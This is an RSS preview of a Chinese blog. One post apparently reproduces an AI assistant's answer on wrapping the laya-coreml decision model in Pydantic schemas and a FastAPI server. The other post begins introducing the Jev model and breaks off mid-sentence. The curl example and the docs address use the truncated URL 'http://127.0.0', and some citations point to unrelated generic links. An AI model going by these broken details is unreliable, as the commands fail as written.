MoreRSS

site iconColobu | 鸟窝 晁岳攀修改

rpcx作者,出版《深入理解Go并发编程》等,中科大,先后在清华同方、Motorola、Comcast、新浪等公司工作。
请复制 RSS 到你的阅读器,或快速订阅到 :

Inoreader Feedly Follow Feedbin Local Reader

Colobu | 鸟窝 晁岳攀的 RSS 预览

jev 兼容

2026-09-21 07:47:00

<p><a href="https://github.com/mizorewww/laya-mlx">https://github.com/mizorewww/laya-mlx</a><br><a href="https://github.com/mizorewww/laya-coreml">https://github.com/mizorewww/laya-coreml</a></p><hr><p>要运行 <code>aac6fef/laya-coreml</code> 并提供 Type-Safe(类型安全) 兼容的 API,最有效的方法是结合 Python 的 <code>laya_coreml</code> 库,并利用 Pydantic 或 Python 3.10+ 的 TypedDict &#x2F; Literal 对输入结构与返回概率进行严格的类型约束。</p><p>由于该模型不是生成文本的大模型,而是直接返回“选择题、评分或布尔判断”的概率,我们可以完美地用类型系统将模型输入输出锁死,从而在编译器或 IDE(如 VS Code &#x2F; PyCharm)中获得完整的类型提示。 [1]</p><p>下面是为您编写的完整运行及 Type-Safe API 封装方案:</p><span id="more"></span><h2 id="1-环境准备"><a href="#1-环境准备" class="headerlink" title="1. 环境准备"></a>1. 环境准备</h2><p>确保你的运行环境是 Apple Silicon Mac (M1&#x2F;M2&#x2F;M3&#x2F;M4 系列),且系统为 macOS 15及以上。 [2]</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用 uv 或 pip 安装核心依赖与类型检查工具</span></span><br><span class="line">pip install laya-coreml pydantic</span><br></pre></td></tr></table></figure><hr><h2 id="2-构建-Type-Safe-兼容的-API-封装"><a href="#2-构建-Type-Safe-兼容的-API-封装" class="headerlink" title="2. 构建 Type-Safe 兼容的 API 封装"></a>2. 构建 Type-Safe 兼容的 API 封装</h2><p>我们可以定义严格的 <code>DecisionSchema</code> 类型。因为模型原生支持 <code>noul</code>(布尔判断)、选择或评分,我们使用 <code>Pydantic</code> 建立前端&#x2F;上层业务与底层模型的桥梁:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Dict</span>, <span class="type">Literal</span>, <span class="type">Union</span>, <span class="type">List</span></span><br><span class="line"><span class="keyword">from</span> pydantic <span class="keyword">import</span> BaseModel, Field</span><br><span class="line"><span class="keyword">import</span> laya_coreml <span class="keyword">as</span> laya</span><br><span class="line"></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"><span class="comment"># 1. 定义类型安全的输入与输出结构 (Type-Safe Schemas)</span></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">BooleanQuestion</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> <span class="built_in">type</span>: <span class="type">Literal</span>[<span class="string">&quot;noul&quot;</span>] = <span class="string">&quot;noul&quot;</span></span><br><span class="line"> instructions: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;需要模型判断的布尔条件,例如:&#x27;用户是否在申请退款?&#x27;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ChoiceQuestion</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> <span class="built_in">type</span>: <span class="type">Literal</span>[<span class="string">&quot;choice&quot;</span>] = <span class="string">&quot;choice&quot;</span></span><br><span class="line"> options: <span class="type">List</span>[<span class="built_in">str</span>] = Field(..., description=<span class="string">&quot;供选择的标签列表&quot;</span>)</span><br><span class="line"> instructions: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;分类指令&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义支持的问题字典类型</span></span><br><span class="line">QuestionConfig = <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="type">Union</span>[BooleanQuestion, ChoiceQuestion]]</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">InferenceRequest</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> text: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;需要分析的上下文或用户原始文本&quot;</span>)</span><br><span class="line"> questions: QuestionConfig = Field(..., description=<span class="string">&quot;强类型定义的问题字典&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">InferenceResponse</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> <span class="comment"># 模型返回的是每个 Key 对应的确定性概率或选择结果</span></span><br><span class="line"> answers: <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="type">Union</span>[<span class="built_in">float</span>, <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="built_in">float</span>]]] = Field(</span><br><span class="line"> ..., description=<span class="string">&quot;模型决策的原始概率分布(无自回归解码)&quot;</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"><span class="comment"># 2. 封装类型安全的推理客户端 (Type-Safe Client)</span></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">LayaCoreMLClient</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, model_id: <span class="built_in">str</span> = <span class="string">&quot;aac6fef/laya-coreml&quot;</span></span>):</span><br><span class="line"> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string"> 初始化并加载 Core ML 模型,首次运行会自动下载并缓存在本地 ANE (Neural Engine) 中</span></span><br><span class="line"><span class="string"> &quot;&quot;&quot;</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f&quot;Loading CoreML model &#x27;<span class="subst">&#123;model_id&#125;</span>&#x27; onto Neural Engine...&quot;</span>)</span><br><span class="line"> <span class="comment"># 96-token 限制的加速版本</span></span><br><span class="line"> <span class="variable language_">self</span>.agent = laya.load(model_id)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">predict</span>(<span class="params">self, request: InferenceRequest</span>) -&gt; InferenceResponse:</span><br><span class="line"> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string"> 执行类型安全的本地推理</span></span><br><span class="line"><span class="string"> &quot;&quot;&quot;</span></span><br><span class="line"> <span class="comment"># 将 Pydantic 转换为模型需要的原生 Dict 结构</span></span><br><span class="line"> raw_questions = &#123;k: v.model_dump() <span class="keyword">for</span> k, v <span class="keyword">in</span> request.questions.items()&#125;</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 运行 Core ML 本地推理(M3/M4 上仅需 ~5ms)</span></span><br><span class="line"> raw_result = <span class="variable language_">self</span>.agent.predict(request.text, raw_questions)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 封装为强类型响应返回</span></span><br><span class="line"> <span class="keyword">return</span> InferenceResponse(answers=raw_result[<span class="string">&quot;answers&quot;</span>])</span><br></pre></td></tr></table></figure><hr><h2 id="3-如何运行与调用示例"><a href="#3-如何运行与调用示例" class="headerlink" title="3. 如何运行与调用示例"></a>3. 如何运行与调用示例</h2><p>将上述封装实例化后,直接通过对象传递。IDE 会全程动态校验你的参数类型是否合法:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line"> <span class="comment"># 初始化客户端</span></span><br><span class="line"> client = LayaCoreMLClient(<span class="string">&quot;aac6fef/laya-coreml&quot;</span>)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 构造强类型的请求数据(如果类型不匹配,Pydantic 会在运行时直接抛错,IDE 也会画红线)</span></span><br><span class="line"> payload = InferenceRequest(</span><br><span class="line"> text=<span class="string">&quot;尊敬的客服,我昨天不小心多付了一笔重复的账单,请帮我处理退款。&quot;</span>,</span><br><span class="line"> questions=&#123;</span><br><span class="line"> <span class="comment"># 这是一个布尔判断题</span></span><br><span class="line"> <span class="string">&quot;is_refund_request&quot;</span>: BooleanQuestion(</span><br><span class="line"> instructions=<span class="string">&quot;Does the customer request a refund for a duplicate payment?&quot;</span></span><br><span class="line"> ),</span><br><span class="line"> <span class="comment"># 这是一个多分类选择题</span></span><br><span class="line"> <span class="string">&quot;intent_category&quot;</span>: ChoiceQuestion(</span><br><span class="line"> instructions=<span class="string">&quot;Classify the intent of the user request.&quot;</span>,</span><br><span class="line"> options=[<span class="string">&quot;billing_issue&quot;</span>, <span class="string">&quot;technical_support&quot;</span>, <span class="string">&quot;account_close&quot;</span>]</span><br><span class="line"> )</span><br><span class="line"> &#125;</span><br><span class="line"> )</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 运行推理</span></span><br><span class="line"> response = client.predict(payload)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 打印强类型输出</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;--- 决策推理结果 ---&quot;</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f&quot;退款意图概率: <span class="subst">&#123;response.answers.get(<span class="string">&#x27;is_refund_request&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f&quot;分类概率分布: <span class="subst">&#123;response.answers.get(<span class="string">&#x27;intent_category&#x27;</span>)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h2 id="💡-生产环境避坑指南"><a href="#💡-生产环境避坑指南" class="headerlink" title="💡 生产环境避坑指南"></a>💡 生产环境避坑指南</h2><ol><li>Token 限制: 默认的 <code>aac6fef/laya-coreml</code> 为了追求极致的 ANE 加速,总 Token 预算限制在 96 以内(包括 text + instructions)。如果你的输入过长,模型会抛出容量错误。 [1]</li><li>长文本平替: 如果输入文本可能超过 96 tokens,请在初始化时将模型 ID 替换为通用版本 <code>aac6fef/laya-multilingual-coreml</code>,该版本支持 1024-token 的长文本输入。 [1]</li></ol><p>你需要我帮你把这套 Type-Safe API 进一步包装成 FastAPI 接口服务 供外部调用,还是想了解如何为它编写 自动化单元测试(Pytest) 以验证输入边界?</p><p>[1] <a href="https://github.com/mizorewww/laya-coreml">https://github.com</a></p><p>[2] <a href="https://github.com/mizorewww/laya-coreml">https://github.com</a></p><hr><p>要将 <code>aac6fef/laya-coreml</code> 封装为类型安全(Type-Safe)的 HTTP API,最标准的做法是使用 FastAPI。 FastApi 原生与 Pydantic 完美绑定,它能自动根据你定义的 Python 输入&#x2F;输出类型,在对外暴露的 HTTP 接口上生成一份完全符合 OpenAPI 规范的端点文档(即可以通过浏览器直接访问的 <code>/docs</code> 页面)。 [1]</p><p>以下是完整的开发及运行步骤:</p><h2 id="1-安装-HTTP-服务器依赖"><a href="#1-安装-HTTP-服务器依赖" class="headerlink" title="1. 安装 HTTP 服务器依赖"></a>1. 安装 HTTP 服务器依赖</h2><p>首先确保你已经安装了 <code>laya-coreml</code>、<code>fastapi</code> 和用于运行 HTTP 服务的 <code>uvicorn</code>: [2]</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install laya-coreml fastapi uvicorn pydantic</span><br></pre></td></tr></table></figure><hr><h2 id="2-编写高性能-HTTP-服务代码-app-py"><a href="#2-编写高性能-HTTP-服务代码-app-py" class="headerlink" title="2. 编写高性能 HTTP 服务代码 (app.py)"></a>2. 编写高性能 HTTP 服务代码 (<code>app.py</code>)</h2><p>模型非自回归解码的特性决定了它的推理延迟极低(~5ms),利用 FastAPI 的异步入口配合统一的模型客户端,能够提供极其稳定的吞吐量。 [3]</p><p>我们将输入字段字段标准化为符合社区生态的 <code>state</code> 与 <code>questions</code> 映射格式: [1]</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> contextlib <span class="keyword">import</span> asynccontextmanager</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Dict</span>, <span class="type">Literal</span>, <span class="type">Union</span>, <span class="type">List</span></span><br><span class="line"><span class="keyword">from</span> fastapi <span class="keyword">import</span> FastAPI, HTTPException</span><br><span class="line"><span class="keyword">from</span> pydantic <span class="keyword">import</span> BaseModel, Field</span><br><span class="line"><span class="keyword">import</span> laya_coreml <span class="keyword">as</span> laya</span><br><span class="line"></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"><span class="comment"># 1. 定义类型安全的 HTTP 请求与响应模型 (Pydantic V2)</span></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">BooleanQuestion</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> <span class="built_in">type</span>: <span class="type">Literal</span>[<span class="string">&quot;noul&quot;</span>] = <span class="string">&quot;noul&quot;</span></span><br><span class="line"> instructions: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;需要判断的布尔决策指令&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ChoiceQuestion</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> <span class="built_in">type</span>: <span class="type">Literal</span>[<span class="string">&quot;choice&quot;</span>] = <span class="string">&quot;choice&quot;</span></span><br><span class="line"> options: <span class="type">List</span>[<span class="built_in">str</span>] = Field(..., description=<span class="string">&quot;供选择的分类标签列表列表&quot;</span>)</span><br><span class="line"> instructions: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;多分类指令&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义支持的题目配置字典</span></span><br><span class="line">QuestionConfig = <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="type">Union</span>[BooleanQuestion, ChoiceQuestion]]</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ModelRequest</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> state: <span class="built_in">str</span> = Field(..., description=<span class="string">&quot;需要分析的上下文文本或 JSON 字符串&quot;</span>)</span><br><span class="line"> questions: QuestionConfig = Field(..., description=<span class="string">&quot;由强类型定义的问题映射表&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ModelResponse</span>(<span class="title class_ inherited__">BaseModel</span>):</span><br><span class="line"> answers: <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="type">Union</span>[<span class="built_in">float</span>, <span class="type">Dict</span>[<span class="built_in">str</span>, <span class="built_in">float</span>]]] = Field(</span><br><span class="line"> ..., description=<span class="string">&quot;模型决策的原始概率分布(无自回归,输出极其确定)&quot;</span></span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"><span class="comment"># 2. 管理模型生命周期与单例加载</span></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 预留模型全局单例指针</span></span><br><span class="line">model_agent = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@asynccontextmanager</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">lifespan</span>(<span class="params">app: FastAPI</span>):</span><br><span class="line"> <span class="keyword">global</span> model_agent</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;正在加载 Core ML 模型至 Apple Neural Engine (ANE)...&quot;</span>)</span><br><span class="line"> <span class="comment"># 首次启动会自动下载模型包并加载到 Mac 本地硬件</span></span><br><span class="line"> model_agent = laya.load(<span class="string">&quot;aac6fef/laya-coreml&quot;</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;模型加载完成,服务已就绪!&quot;</span>)</span><br><span class="line"> <span class="keyword">yield</span></span><br><span class="line"> <span class="comment"># 清理释放资源</span></span><br><span class="line"> model_agent = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建 FastAPI 实例并注入生命周期管理</span></span><br><span class="line">app = FastAPI(</span><br><span class="line"> title=<span class="string">&quot;Laya CoreML Type-Safe API&quot;</span>, </span><br><span class="line"> version=<span class="string">&quot;1.0.0&quot;</span>,</span><br><span class="line"> lifespan=lifespan</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"><span class="comment"># 3. HTTP 路由端点实现</span></span><br><span class="line"><span class="comment"># ==========================================</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.post(<span class="params"><span class="string">&quot;/ai/run&quot;</span>, response_model=ModelResponse</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">run_inference</span>(<span class="params">payload: ModelRequest</span>):</span><br><span class="line"> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string"> 接收强类型的 HTTP 决策请求,在本地 ANE 硬件上以超低延迟执行推理。</span></span><br><span class="line"><span class="string"> &quot;&quot;&quot;</span></span><br><span class="line"> <span class="keyword">if</span> model_agent <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> <span class="keyword">raise</span> HTTPException(status_code=<span class="number">503</span>, detail=<span class="string">&quot;Model not initialized yet.&quot;</span>)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># 将结构化的 Pydantic 转换为基础字典</span></span><br><span class="line"> raw_questions = &#123;k: v.model_dump() <span class="keyword">for</span> k, v <span class="keyword">in</span> payload.questions.items()&#125;</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 触发 CoreML 硬件推理</span></span><br><span class="line"> raw_result = model_agent.predict(payload.state, raw_questions)</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 返回完全符合 ModelResponse 类型安全约定的 JSON</span></span><br><span class="line"> <span class="keyword">return</span> ModelResponse(answers=raw_result[<span class="string">&quot;answers&quot;</span>])</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="comment"># 捕获例如输入超过 96 tokens 的长度超限异常等</span></span><br><span class="line"> <span class="keyword">raise</span> HTTPException(status_code=<span class="number">400</span>, detail=<span class="string">f&quot;Inference error: <span class="subst">&#123;<span class="built_in">str</span>(e)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="3-运行本地-HTTP-服务器"><a href="#3-运行本地-HTTP-服务器" class="headerlink" title="3. 运行本地 HTTP 服务器"></a>3. 运行本地 HTTP 服务器</h2><p>在终端中执行以下命令启动服务:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uvicorn app:app --host 127.0.0.1 --port 8000 --reload</span><br></pre></td></tr></table></figure><hr><h2 id="4-客户端调用与-Type-Safe-验证"><a href="#4-客户端调用与-Type-Safe-验证" class="headerlink" title="4. 客户端调用与 Type-Safe 验证"></a>4. 客户端调用与 Type-Safe 验证</h2><h2 id="1-自动生成的交互式接口文档-OpenAPI"><a href="#1-自动生成的交互式接口文档-OpenAPI" class="headerlink" title="1) 自动生成的交互式接口文档 (OpenAPI)"></a>1) 自动生成的交互式接口文档 (OpenAPI)</h2><p>启动后,直接在浏览器中打开 <code>http://127.0.0</code>,你会看到一个清晰的 Swagger 页面。前端团队可以基于此页面直接下载 <code>openapi.json</code>,并利用工具(如 <code>openapi-typescript</code>)直接为 TypeScript 生成完全类型安全的网络请求代码。 [4, 5]</p><h2 id="2-cURL-验证测试"><a href="#2-cURL-验证测试" class="headerlink" title="2) cURL 验证测试"></a>2) cURL 验证测试</h2><p>此时,其他系统可以通过完全结构化的 JSON 对你的 Mac 节点进行请求:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">curl http://127.0.0 \</span><br><span class="line"> -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line"> -d <span class="string">&#x27;&#123;</span></span><br><span class="line"><span class="string"> &quot;state&quot;: &quot;不好意思,我刚才买错了规格,我想退货换成大号的,麻烦退一下款。&quot;,</span></span><br><span class="line"><span class="string"> &quot;questions&quot;: &#123;</span></span><br><span class="line"><span class="string"> &quot;is_urgent&quot;: &#123;</span></span><br><span class="line"><span class="string"> &quot;type&quot;: &quot;noul&quot;,</span></span><br><span class="line"><span class="string"> &quot;instructions&quot;: &quot;用户是否在申请退款或退换货?&quot;</span></span><br><span class="line"><span class="string"> &#125;,</span></span><br><span class="line"><span class="string"> &quot;category&quot;: &#123;</span></span><br><span class="line"><span class="string"> &quot;type&quot;: &quot;choice&quot;,</span></span><br><span class="line"><span class="string"> &quot;instructions&quot;: &quot;分类用户的主要意图&quot;,</span></span><br><span class="line"><span class="string"> &quot;options&quot;: [&quot;after_sales&quot;, &quot;consulting&quot;, &quot;complaint&quot;]</span></span><br><span class="line"><span class="string"> &#125;</span></span><br><span class="line"><span class="string"> &#125;</span></span><br><span class="line"><span class="string"> &#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>响应结果(完美符合绑定的类型输出格式):</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;answers&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;is_urgent&quot;</span><span class="punctuation">:</span> <span class="number">0.9854</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;category&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;after_sales&quot;</span><span class="punctuation">:</span> <span class="number">0.9621</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;consulting&quot;</span><span class="punctuation">:</span> <span class="number">0.0315</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;complaint&quot;</span><span class="punctuation">:</span> <span class="number">0.0064</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>目前这个服务运行在本地。如果你需要把它部署到局域网其他机器访问,或者需要对输入进行 Token 长度预切片(避免超出 96 token 预算报错),请告诉我!</p><p>[1] <a href="https://gist.github.com/fordnox/e592d0f68b543fd044be8e6d040863a0">https://gist.github.com</a></p><p>[2] <a href="https://gist.github.com/forked">https://gist.github.com</a></p><p>[3] <a href="https://hype.replicate.dev/">https://hype.replicate.dev</a></p><p>[4] <a href="https://itnext.io/type-safe-llm-response-handling-with-boundaryml-for-java-developers-4741809d9389">https://itnext.io</a></p><p>[5] <a href="https://dev.to/nazeelashraf/writing-type-safe-api-clients-in-typescript-1j92">https://dev.to</a></p>

新AI模型 Jev 实战:概念、场景和两个实战

2026-09-21 07:18:27

<h2 id="一、一个不写字的模型"><a href="#一、一个不写字的模型" class="headerlink" title="一、一个不写字的模型"></a>一、一个不写字的模型</h2><p>9 月 15 日,一条推文在开发者社区里传开。</p><p>发帖人是 Diogo Almeida。他说自己参与发明了 ChatGPT,然后一直在问自己一个问题:为什么对话模型已经强到超人,AGI 还是没有出现?过去两年他&quot;隐身&quot;,用一种新的训练方法(RLCD)训出了一个新类型的模型,今天发布,名字叫 Jev。</p><p>他给出的数字:快 20–200 倍,便宜 40–400 倍。TypeSafe AI 同期宣布了 4000 万美元种子轮。</p><p>接下来几天,用 TechCrunch 的标题概括就是:&quot;一个来自 ChatGPT 发明者的新型 AI 模型,正在让开发者兴奋。&quot;Reddit 上 r&#x2F;ArtificialInteligence 的帖子一天之内冲到 120+ 评论,标题是&quot;Jev &#x2F; TypesafeAI is revolutionary as LLM&#39;s&quot;,正文第一句:&quot;Jev is insane.&quot;X 上 @0xCodila 说这是 AI 行业的&quot;互联网时刻&quot;,@akshay_pachaar 的总结是:&quot;我们一直拿 LLM 当锤子,敲每一个 AI 问题,哪怕是再简单不过的判断。Jev 用毫秒和零头的成本把这些判断接了过去。&quot;中文社区里,@Saccc_c 的推荐很直接:&quot;强烈建议大家都亲自试试 Jev,能让你的 Codex 操作速度提高 10 倍并省下大量 token。&quot;</p><p>同时,接下来的这几天,我的X时间线全被jev刷屏了。</p><p>社区的动作也很快。一周之内,已经长出一圈配套工具:给 Claude Code 和 Codex 用的代码评审插件 jev-review、官方的 TypeSafe Skill、把命令风险检查接进 Claude Code hook 的脚本,还有人做了 jevable.com,把散落在 X 上的演示项目收集成可筛选的目录。有人把 X 上 28 个 Jev 用例归成八个方向,从 Agent 调度、记忆筛选、代码质量检查,到浏览器操作、业务分流、实时交互辅助和游戏控制。这些方向的共同点是:判断高频发生、候选范围有限、需要理解语境,而且错了能发现、能补救。一批资源站也纷纷涌现。</p><p>但有个事实绕不开:Jev 不做生成。</p><p>它不会写文章,不会写代码,不会跟你聊天,也不能解释自己为什么这么选。你给它一段状态(state)和几个带选项的问题,它返回一组类型化的答案和概率,然后停止。</p><p>当所有人都在比谁的模型写得更长、更像人的时候,TypeSafe 走的是另一个方向,把模型做成软件里的一个判断原语。最通俗的类比,是一个聪明的 <code>if</code> 语句。</p><span id="more"></span><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920224940050.png" class=""><h3 id="为什么这个模型爆火?"><a href="#为什么这个模型爆火?" class="headerlink" title="为什么这个模型爆火?"></a>为什么这个模型爆火?</h3><p>普通代码只能对&quot;能算的条件&quot;做分支:<code>if (order.total &gt; 